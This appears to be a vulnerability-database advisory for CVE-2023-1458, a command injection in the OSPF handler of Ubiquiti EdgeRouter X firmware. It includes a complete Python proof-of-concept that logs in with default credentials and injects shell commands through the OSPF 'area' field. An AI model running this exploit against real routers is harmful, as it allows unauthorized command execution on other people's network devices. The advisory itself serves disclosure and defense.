A vulnerability has been found in Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System) and classified as critical. Affected by this vulnerability is an unknown part of the component OSPF Handler. The manipulation of the argument area with an unknown input leads to a command injection vulnerability. The CWE definition for the vulnerability is CWE-77. The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was presented 03/17/2023. This vulnerability is known as CVE-2023-1458. Technical details and also a public exploit are known. The attack technique deployed by this issue is T1202 according to MITRE ATT&CK.

It is possible to download the exploit at vuldb.com. It is declared as proof-of-concept. The real existence of this vulnerability is still doubted at the moment. The vendor position is that post-authentication issues are not accepted as vulnerabilities. The code used by the exploit is:

import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
inject_cmd += ';echo test>/etc/test'


phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Content-Length': '27', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 
  'Upgrade-Insecure-Requests': '1', 
  'Sec-Fetch-Dest': 'document', 
  'Sec-Fetch-Mode': 'navigate', 
  'Sec-Fetch-Site': 'same-origin', 
  'Sec-Fetch-User': '?1'
  }
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)

loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.post(url=login_url,headers=header,data=login_body,\
      timeout=5,verify=False,allow_redirects=False)
    if r is None or 'Set-Cookie' not in r.headers.keys():
      print("Login failed.")
      time.sleep((3-loop)*3)
    else:
      break
  except Exception as e:
    print('Login error:{}'.format(e))

if r is None:
  print('Failed login,please check and retry!')
  exit(1)

tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
  if 'PHPSESSID' == k:
    phpsessid = '{}'.format(v)
  elif 'X-CSRF-TOKEN' == k:
    csrftoken = '{}'.format(v)
  elif 'beaker.session.id' == k:
    sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) 

param = {'SET': {'protocols': {'ospf': 
  {'area': '__FORCE_ASSOC;{};'.format(inject_cmd)}}}, 'GET': {'protocols': {'ospf': None}}}

victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'application/json, text/javascript, */*; q=0.01', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/json', 
  'X-CSRF-TOKEN': '{}'.format(csrftoken), 
  'X-Requested-With': 'XMLHttpRequest', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 
  'Sec-Fetch-Dest': 'empty', 
  'Sec-Fetch-Mode': 'cors', 
  'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
  timeout=5,verify=False,allow_redirects=False)
print(r.status_code)

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Productinfo

Type

• Router Operating System

Vendor

• Ubiquiti

Name

• EdgeRouter X

License

• commercial

CPE 2.3info

• 🔒

CPE 2.2info

• 🔒

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Discussion